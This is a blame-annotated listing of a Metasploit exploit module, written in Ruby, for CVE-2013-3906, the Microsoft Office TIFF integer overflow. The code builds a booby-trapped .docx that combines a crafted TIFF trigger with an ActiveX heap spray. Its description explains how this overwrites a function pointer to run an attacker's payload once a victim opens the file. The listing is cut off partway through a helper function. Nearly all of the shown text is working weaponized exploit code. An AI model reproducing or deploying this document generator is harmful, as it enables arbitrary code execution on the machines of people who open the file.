2013-11-20 05:10:32 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/zip'
|
|
|
|
require 'Nokogiri'
|
|
|
|
|
|
|
|
module ::Nokogiri
|
|
|
|
module XML
|
|
|
|
class Builder
|
|
|
|
#
|
|
|
|
# Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
|
|
|
|
# So here's our hack to get around that.
|
|
|
|
#
|
|
|
|
def custom_root(ns)
|
|
|
|
e = @parent.create_element(ns)
|
|
|
|
e.add_namespace_definition(ns, "href")
|
|
|
|
@ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
|
|
|
|
return self
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Microsoft Tagged Image File Format (TIFF) Integer Overflow",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
|
|
|
|
It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
|
|
|
|
users running Microsoft Office, specifically in the Middle East and South Asia region.
|
|
|
|
|
|
|
|
The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
|
|
|
|
drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
|
|
|
|
and stored in the EAX register. The 32-bit register will run out of storage space to
|
|
|
|
represent the large vlaue, which ends up being 0, but it still gets pushed as a
|
|
|
|
dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
|
|
|
|
chunk anyway with size 0, and the address of this chunk is used as the destination buffer
|
|
|
|
of a memcpy function, where the source buffer is the EXIF data (an extended image format
|
|
|
|
supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
|
|
|
|
by HeapAlloc will end up being overwritten by the memcpy function, and then later used
|
|
|
|
in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
|
|
|
|
memory layout using ActiveX, it is possible to gain arbitrary code execution under the
|
|
|
|
context of the user.
|
|
|
|
|
|
|
|
Please note the victim machine may experience some lag while opening the file before
|
|
|
|
the malicious payload is executed.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Unknown', # Some dude wrote it and deployed in the wild
|
|
|
|
'sinn3r' # Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-3906' ],
|
|
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
|
|
|
|
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00"
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'ExitFunction' => "process"
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Windows XP SP3 with Office 2010', {}],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Nov 8 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates a TIFF that triggers the overflow
|
|
|
|
#
|
|
|
|
def make_tiff
|
|
|
|
# TIFF Header:
|
|
|
|
# TIFF ID = 'II' (Intel order)
|
|
|
|
# TIFF Version = 42d
|
|
|
|
# Offset of FID = 0x000049c8h
|
|
|
|
#
|
|
|
|
# Image Directory:
|
|
|
|
# Number of entries = 17d
|
|
|
|
# Entry[0] NewSubFileType = 0
|
|
|
|
# Entry[1] ImageWidth = 256d
|
|
|
|
# Entry[2] ImageHeight = 338d
|
|
|
|
# Entry[3] BitsPerSample = 8 8 8
|
|
|
|
# Entry[4] Compression = JPEG (6)
|
|
|
|
# Entry[5] Photometric Interpretation = RGP
|
|
|
|
# Entry[6] StripOffsets = 68 entries (349 bytes)
|
|
|
|
# Entry[7] SamplesPerPixel = 3
|
|
|
|
# Entry[8] RowsPerStrip = 5
|
|
|
|
# Entry[9] StripByteCounts = 68 entries (278 bytes)
|
|
|
|
# Entry[10] XResolution = 96d
|
|
|
|
# Entry[11] YResolution = 96d
|
|
|
|
# Entry[12] Planar Configuration = Clunky
|
|
|
|
# Entry[13] Resolution Unit = Inch
|
|
|
|
# Entry[14] Predictor = None
|
|
|
|
# Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
|
|
|
|
# Entry[16] JPEGInterchangeFormat = 13636d
|
|
|
|
|
|
|
|
# Notes:
|
|
|
|
# These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
|
|
|
|
# - JPEGInterchangeFormatLength
|
|
|
|
# - DWORD at offset 3324h (0xffffb898), no documentation for this
|
|
|
|
# - DWORDS after offset 3328h, no documentation for these, either.
|
|
|
|
# The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
|
|
|
|
# The trigger is really a TIF file, but is named as a JPEG in the docx package
|
|
|
|
|
|
|
|
buf = ''
|
|
|
|
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
|
|
|
|
::File.open(path, "rb") do |f|
|
|
|
|
buf = f.read
|
|
|
|
end
|
|
|
|
|
|
|
|
buf
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates an ActiveX bin that will be used as a spray in Office
|
|
|
|
#
|
|
|
|
def make_activex_bin
|
|
|
|
#
|
|
|
|
# How an ActiveX bin is referred:
|
|
|
|
# document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
|
|
|
|
# Every bin is a Microsoft Compound Document File:
|
|
|
|
# http://www.openoffice.org/sc/compdocfileformat.pdf
|
|
|
|
|
|
|
|
# The bin file
|
|
|
|
mscd = ''
|
|
|
|
mscd << [0xe011cfd0].pack('V') # File identifier (first 4 byte)
|
|
|
|
mscd << [0xe11ab1a1].pack('V') # File identifier (second 4 byte)
|
|
|
|
mscd << [0x00000000].pack('V') * 4 # Unique Identifier
|
|
|
|
mscd << [0x003e].pack('v') # Revision number
|
|
|
|
mscd << [0x0003].pack('v') # Version number
|
|
|
|
mscd << [0xfffe].pack('v') # Byte order: Little-Endian
|
|
|
|
mscd << [0x0009].pack('v') # Sector size
|
|
|
|
mscd << [0x0006].pack('v') # Size of a short-sector
|
|
|
|
mscd << "\x00" * 10 # Not used
|
|
|
|
mscd << [0x00000001].pack('V') # Total number of sectors
|
|
|
|
mscd << [0x00000001].pack('V') # SecID for the first sector
|
|
|
|
mscd << [0x00000000].pack('V') # Not used
|
|
|
|
mscd << [0x00001000].pack('V') # Minimum size of a standard stream
|
|
|
|
mscd << [0x00000002].pack('V') # Sec ID of first sector
|
|
|
|
mscd << [0x00000001].pack('V') # Total number of sectors for the short-sector table
|
|
|
|
mscd << [0xfffffffe].pack('V') # SecID of first sector of the mastser sector table
|
|
|
|
mscd << [0x00000000].pack('V') # Total number of sectors for master sector talbe
|
|
|
|
mscd << [0x00000000].pack('V') # SecIDs
|
|
|
|
mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
|
|
|
|
mscd << Rex::Text.to_unicode("Root Entry")
|
|
|
|
mscd << [0x00000000].pack('V') * 11
|
|
|
|
mscd << [0x0016].pack('v') # Valid range of the previous char array
|
|
|
|
mscd << "\x05" # Type of entry (Root Storage Entry)
|
|
|
|
mscd << "\x00" # Node colour of the entry (red)
|
|
|
|
mscd << [0xffffffff].pack('V') # DirID of the left child node
|
|
|
|
mscd << [0xffffffff].pack('V') # DirID of the right child node
|
|
|
|
mscd << [0x00000001].pack('V') # DirID of the root node entry
|
|
|
|
mscd << [0x1efb6596].pack('V')
|
|
|
|
mscd << [0x11d1857c].pack('V')
|
|
|
|
mscd << [0xc0006ab1].pack('V')
|
|
|
|
mscd << [0x283628f0].pack('V')
|
|
|
|
mscd << [0x00000000].pack('V') * 3
|
|
|
|
mscd << [0x287e3070].pack('V')
|
|
|
|
mscd << [0x01ce2654].pack('V')
|
|
|
|
mscd << [0x00000003].pack('V')
|
|
|
|
mscd << [0x00000100].pack('V')
|
|
|
|
mscd << [0x00000000].pack('V')
|
|
|
|
mscd << Rex::Text.to_unicode("Contents")
|
|
|
|
mscd << [0x00000000].pack('V') * 12
|
|
|
|
mscd << [0x01020012].pack('V')
|
|
|
|
mscd << [0xffffffff].pack('V') * 3
|
|
|
|
mscd << [0x00000000].pack('V') * 10
|
|
|
|
mscd << [0x000000e4].pack('V')
|
|
|
|
mscd << [0x00000000].pack('V') * 18
|
|
|
|
mscd << [0xffffffff].pack('V') * 3
|
|
|
|
mscd << [0x00000000].pack('V') * 29
|
|
|
|
mscd << [0xffffffff].pack('V') * 3
|
|
|
|
mscd << [0x00000000].pack('V') * 12
|
|
|
|
mscd << [0x00000001].pack('V')
|
|
|
|
mscd << [0x00000002].pack('V')
|
|
|
|
mscd << [0x00000003].pack('V')
|
|
|
|
mscd << [0xfffffffe].pack('V')
|
|
|
|
mscd << [0xffffffff].pack('V') * 52
|
|
|
|
# mscd << "PAYLOAD"
|
|
|
|
|
|
|
|
mscd
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates an activeX[num].xml file
|
|
|
|
# @param rid [String] The relationship ID (example: rId1)
|
|
|
|
# @return [String] XML document
|
|
|
|
#
|
|
|
|
def make_activex_xml(rid)
|
|
|
|
attrs = {
|
|
|
|
'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
|
|
|
|
'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
|
|
|
|
'ax:persistence' => "persistStorage",
|
2013-11-21 10:27:41 +00:00
|
|
|
'r:id' => "rId#{rid.to_s}",
|
2013-11-20 05:10:32 +00:00
|
|
|
'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
|
2013-11-20 23:11:13 +00:00
|
|
|
'xmlns:r' => @schema
|
2013-11-20 05:10:32 +00:00
|
|
|
}
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
|
|
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
|
|
xml.custom_root("ax")
|
|
|
|
xml.ocx(attrs)
|
|
|
|
end
|
|
|
|
|
|
|
|
builder.to_xml
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates an activeX[num].xml.rels
|
|
|
|
# @param relationships [Array] A collection of hashes with each containing:
|
|
|
|
# :id, :type, :target
|
|
|
|
# @return [String] XML document
|
|
|
|
#
|
|
|
|
def make_activex_xml_reals(rid, target_bin)
|
|
|
|
acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
|
|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
|
2013-11-21 10:27:41 +00:00
|
|
|
xml.Relationship({:Id=>"rId#{rid.to_s}", :Type=>acx_type, :Target=>target_bin})
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
builder.to_xml
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates a document.xml.reals file
|
|
|
|
# @param relationships [Array] A collection of hashes with each containing:
|
|
|
|
# :id, :type, and :target
|
|
|
|
# @return [String] XML document
|
|
|
|
#
|
|
|
|
def make_doc_xml_reals(relationships)
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
|
|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
|
|
|
|
relationships.each do |r|
|
2013-11-21 10:27:41 +00:00
|
|
|
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:target]})
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
builder.to_xml
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2013-11-20 23:11:13 +00:00
|
|
|
#
|
|
|
|
# Creates a _rels/.rels file
|
|
|
|
#
|
|
|
|
def init_rels(doc_xml, doc_props)
|
|
|
|
rels = []
|
|
|
|
rels << doc_xml
|
|
|
|
rels << doc_props
|
2013-11-21 10:27:41 +00:00
|
|
|
rels = rels.flatten
|
|
|
|
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
|
|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
|
|
|
|
rels.each do |r|
|
|
|
|
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:fname].gsub(/^\//, '')})
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-11-20 23:11:13 +00:00
|
|
|
|
|
|
|
{
|
|
|
|
:fname => "_rels/.rels",
|
2013-11-21 10:27:41 +00:00
|
|
|
:data => builder.to_xml
|
2013-11-20 23:11:13 +00:00
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2013-11-21 20:42:07 +00:00
|
|
|
#
|
|
|
|
# Creates a run element for chart
|
|
|
|
# @param xml [Element]
|
|
|
|
# @param rid [String]
|
|
|
|
#
|
|
|
|
def create_chart_run_element(xml, rid)
|
|
|
|
drawingml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
|
|
|
|
|
|
|
|
xml.r do
|
|
|
|
xml.rPr do
|
|
|
|
xml.noProof
|
|
|
|
xml.lang({'w:val' => "en-US"})
|
|
|
|
end
|
|
|
|
|
|
|
|
xml.drawing do
|
|
|
|
xml.inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
|
|
|
|
#xml.extend({'cx'=>'1', 'cy'=>'1'})
|
|
|
|
xml.effectExtend({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
|
|
|
|
xml.docPr({'id'=>"rId#{rid.to_s}", 'name' => "drawing #{rid.to_s}"})
|
|
|
|
xml.cNvGraphicFramePr
|
|
|
|
xml['a'].graphic({'xmlns'=>"#{drawingml_schema}/main"}) do
|
|
|
|
xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
|
|
|
|
xml['c'].chart({'xmlns:c'=>"#{drawingml_schema}/chart", 'xmlns:r'=>@schema})
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates a run element for ax
|
|
|
|
# @param xml [Element]
|
|
|
|
# @param rid [String]
|
|
|
|
#
|
|
|
|
def create_ax_run_element(xml, rid)
|
|
|
|
shape_attrs = {
|
|
|
|
'id' => "_x0000_i10#{rid.to_s}",
|
|
|
|
'type' => "#_x0000_t75",
|
|
|
|
'style' => "width:1pt;height:1pt",
|
|
|
|
'o:ole' => ""
|
|
|
|
}
|
|
|
|
|
|
|
|
control_attrs = {
|
|
|
|
'r:id' => "rId#{rid.to_s}",
|
|
|
|
'w:name' => "TabStrip#{rid.to_s}",
|
|
|
|
'w:shapeid' =>"_x0000_i10#{rid.to_s}"
|
|
|
|
}
|
|
|
|
|
|
|
|
xml.r do
|
|
|
|
xml.object({'w:dxaOrig'=>"1440", 'w:dyaOrig'=>"1440"}) do
|
|
|
|
xml['v'].shape(shape_attrs)
|
|
|
|
xml['w'].control(control_attrs)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates a pic run element
|
|
|
|
# @param xml [Element]
|
|
|
|
# @param rid [String]
|
|
|
|
#
|
|
|
|
def create_pic_run_element(xml, rid)
|
|
|
|
drawinxml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
|
|
|
|
|
|
|
|
xml.r do
|
|
|
|
xml.rPr do
|
|
|
|
xml.noProof
|
|
|
|
xml.lang({'w:val'=>"en-US"})
|
|
|
|
end
|
|
|
|
|
|
|
|
xml.drawing do
|
|
|
|
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
|
|
|
|
#xml.extend({'cx'=>'1', 'cy'=>'1'})
|
|
|
|
xml['wp'].effectExtend({'l'=>"1", 't'=>"0", 'r'=>"0", 'b'=>"0"})
|
|
|
|
xml['wp'].docPr({'id'=>rid.to_s, 'name'=>"image", 'descr'=>"image.jpeg"})
|
|
|
|
xml['wp'].cNvGraphicFramePr do
|
|
|
|
xml['a'].graphicFrameLocks({'xmlns:a'=>"#{drawinxml_schema}/main", 'noChangeAspect'=>"1"})
|
|
|
|
end
|
|
|
|
|
|
|
|
xml['a'].graphic({'xmlns:a'=>"#{drawinxml_schema}/main"}) do
|
|
|
|
xml['a'].graphicData({'uri'=>"#{drawinxml_schema}/picture"}) do
|
|
|
|
xml['pic'].pic({'xmlns:pic'=>"#{drawinxml_schema}/picture"}) do
|
|
|
|
xml['pic'].nvPicPr do
|
|
|
|
xml['pic'].cNvPr({'id'=>rid.to_s, 'name'=>"image.jpeg"})
|
|
|
|
xml['pic'].cNvPicPr
|
|
|
|
end
|
|
|
|
|
|
|
|
xml['pic'].blipFill do
|
|
|
|
xml['a'].blip('r:embed'=>"rId#{rid.to_s}", 'cstate'=>"print")
|
|
|
|
xml['a'].stretch do
|
|
|
|
xml['a'].fillRect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
xml['pic'].spPr do
|
|
|
|
xml['a'].xfrm do
|
|
|
|
xml['a'].off({'x'=>"0", 'y'=>"0"})
|
|
|
|
xml['a'].ext({'cx'=>"1", 'cy'=>"1"})
|
|
|
|
end
|
|
|
|
|
|
|
|
xml['a'].prstGeom({'prst' => "rect"}) do
|
|
|
|
xml['a'].avLst
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2013-11-20 05:10:32 +00:00
|
|
|
#
|
|
|
|
# Creates a document.xml file
|
|
|
|
# @param pre_defs [Array]
|
|
|
|
# @param activex [Array]
|
|
|
|
# @param tiff_file [Array]
|
|
|
|
# @return [String] XML document
|
|
|
|
#
|
2013-11-20 23:11:13 +00:00
|
|
|
def init_doc_xml(last_rid, pre_defs, activex, tiff_file)
|
2013-11-20 05:10:32 +00:00
|
|
|
# Get all the required pre-defs
|
|
|
|
chart_rids = []
|
2013-11-21 10:27:41 +00:00
|
|
|
pre_defs.select { |e| chart_rids << e[:id] }
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
# Get all the ActiveX RIDs
|
|
|
|
ax_rids = []
|
2013-11-21 10:27:41 +00:00
|
|
|
activex.select { |e| ax_rids << e[:id] }
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
# Get the TIFF RID
|
2013-11-21 10:27:41 +00:00
|
|
|
tiff_rid = tiff_file[:id]
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
# Documentation on how this is crafted:
|
|
|
|
# http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
|
|
|
|
doc_attrs = {
|
|
|
|
'xmlns:ve' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
|
|
|
|
'xmlns:o' => "urn:schemas-microsoft-com:office:office",
|
2013-11-20 23:11:13 +00:00
|
|
|
'xmlns:r' => @schema,
|
2013-11-20 05:10:32 +00:00
|
|
|
'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
|
|
|
|
'xmlns:v' => "urn:schemas-microsoft-com:vml",
|
|
|
|
'xmlns:wp' => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
|
|
|
|
'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
|
|
|
|
'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
|
|
|
|
'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
|
|
|
|
'xmlns:a' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
|
|
|
|
'xmlns:c' => "http://schemas.openxmlformats.org/markup-compatibility/2006"
|
|
|
|
}
|
|
|
|
|
2013-11-21 20:42:07 +00:00
|
|
|
p_attrs = { 'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
|
|
xml.custom_root("w")
|
|
|
|
|
|
|
|
xml.document(doc_attrs) do
|
|
|
|
xml.body do
|
|
|
|
# Paragraph (ActiveX)
|
|
|
|
xml.p(p_attrs) do
|
|
|
|
# Paragraph properties
|
|
|
|
xml.pPr do
|
|
|
|
# Run properties
|
|
|
|
xml.rPr do
|
|
|
|
xml.lang({'w:val' => "en-US"})
|
|
|
|
end
|
2013-11-21 20:42:07 +00:00
|
|
|
|
|
|
|
ax_rids.each do |rid|
|
|
|
|
create_ax_run_element(xml, rid)
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-11-21 20:42:07 +00:00
|
|
|
# Charts
|
2013-11-20 05:10:32 +00:00
|
|
|
xml.p(p_attrs) do
|
|
|
|
xml.pPr do
|
2013-11-21 20:42:07 +00:00
|
|
|
chart_rids.each do |rid|
|
|
|
|
create_chart_run_element(xml, rid)
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
end
|
2013-11-21 20:42:07 +00:00
|
|
|
|
|
|
|
# TIFF
|
|
|
|
create_pic_run_element(xml, tiff_rid)
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-11-20 23:11:13 +00:00
|
|
|
{
|
2013-11-21 10:27:41 +00:00
|
|
|
:id => (last_rid + 1).to_s,
|
|
|
|
:type => "#{@schema}/officeDocument",
|
|
|
|
:fname => "/word/document.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
|
|
|
|
:xml => builder.to_xml
|
2013-11-20 23:11:13 +00:00
|
|
|
}
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates a [Content.Types].xml file located in the parent directory
|
|
|
|
# @param overrides [Array] A collection of hashes with each containing
|
|
|
|
# the :PartName and :ContentType info
|
|
|
|
# @return [String] XML document
|
|
|
|
#
|
|
|
|
def make_contenttype_xml(overrides)
|
|
|
|
contenttypes = [
|
|
|
|
{
|
|
|
|
:Extension =>"rels",
|
|
|
|
:ContentType =>"application/vnd.openxmlformats-package.relationships+xml"
|
|
|
|
},
|
|
|
|
{
|
|
|
|
:Extension =>"xml",
|
|
|
|
:ContentType =>"application/xml"
|
|
|
|
},
|
|
|
|
{
|
|
|
|
:Extension =>"jpeg",
|
|
|
|
:Contenttype =>"image/jpeg"
|
|
|
|
},
|
|
|
|
{
|
|
|
|
:Extension => "bin",
|
|
|
|
:ContentType => "application/vnd.ms-office.activeX"
|
|
|
|
},
|
|
|
|
{
|
|
|
|
:Extension => "xlsx",
|
|
|
|
:ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
|
|
|
|
}
|
|
|
|
]
|
|
|
|
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
2013-11-21 10:27:41 +00:00
|
|
|
xml.Types({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
|
2013-11-20 05:10:32 +00:00
|
|
|
# Default extensions
|
|
|
|
contenttypes.each do |contenttype|
|
2013-11-21 10:27:41 +00:00
|
|
|
xml.Default(contenttype)
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Additional overrides
|
|
|
|
overrides.each do |override|
|
2013-11-21 20:42:07 +00:00
|
|
|
override_attrs = {
|
|
|
|
:PartName => override[:PartName] || override[:fname],
|
|
|
|
:ContentType => override[:ContentType]
|
|
|
|
}
|
|
|
|
xml.Override(override_attrs)
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
builder.to_xml
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
2013-11-20 23:11:13 +00:00
|
|
|
# Pre-define some items that will be used in .rels
|
2013-11-20 05:10:32 +00:00
|
|
|
#
|
2013-11-20 23:11:13 +00:00
|
|
|
def init_doc_props(last_rid)
|
|
|
|
items = []
|
2013-11-21 10:27:41 +00:00
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/extended-properties",
|
|
|
|
:fname => "/docProps/app.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.extended-properties+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/core-properties",
|
|
|
|
:fname => "/docProps/core.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-package.core-properties+xml"
|
|
|
|
}
|
2013-11-20 23:11:13 +00:00
|
|
|
|
|
|
|
return last_rid, items
|
|
|
|
end
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
|
2013-11-20 23:11:13 +00:00
|
|
|
#
|
|
|
|
# Pre-define some items that will be used in document.xml.rels
|
|
|
|
#
|
|
|
|
def init_doc_xml_rels_items(last_rid)
|
|
|
|
items = []
|
2013-11-21 10:27:41 +00:00
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/styles",
|
|
|
|
:fname => "/word/styles.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/settings",
|
|
|
|
:fname => "/word/settings.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/webSettings",
|
|
|
|
:fname => "/word/webSettings.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/fontTable",
|
|
|
|
:fname => "/word/fontTable.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/theme",
|
|
|
|
:fname => "/word/theme/theme1.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.theme+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/chart",
|
|
|
|
:fname => "/word/charts/chart1.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/chart",
|
|
|
|
:fname => "/word/charts/chart2.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/chart",
|
|
|
|
:fname => "/word/charts/chart3.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/chart",
|
|
|
|
:fname => "/word/charts/chart4.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/chart",
|
|
|
|
:fname => "/word/charts/chart5.xml",
|
|
|
|
